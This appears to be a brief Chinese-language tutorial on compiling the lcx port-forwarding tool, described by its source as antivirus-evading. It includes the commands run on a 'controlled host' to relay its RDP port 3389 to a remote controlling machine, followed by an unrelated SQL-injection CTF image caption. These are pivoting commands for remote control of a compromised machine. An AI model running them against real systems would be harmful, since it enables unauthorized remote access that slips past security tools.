1.编译lcx源码: GitHub - UndefinedIdentifier/LCX: 自修改免杀lcx端口转发工具

2.在win7上安装vs2010并编译生成lcx.exe
3.在要被控制主机上运行:
lcx -slave 192.168.31.248 51 192.168.31.211 3389
192.168.31.248为远程主控制主机,51为远程主机端口
192.168.31.211为被控制主机,3389为被控制主机端口

在主控制主机上运行
lcx -listen 51 3389
监听51端口连接并转发到本地3389端口
被控制机与主控制机连接成功








![sql注入 [极客大挑战 2019]LoveSQL 1](https://img-blog.csdnimg.cn/4f501133eef74072959d860eb649faa9.png)










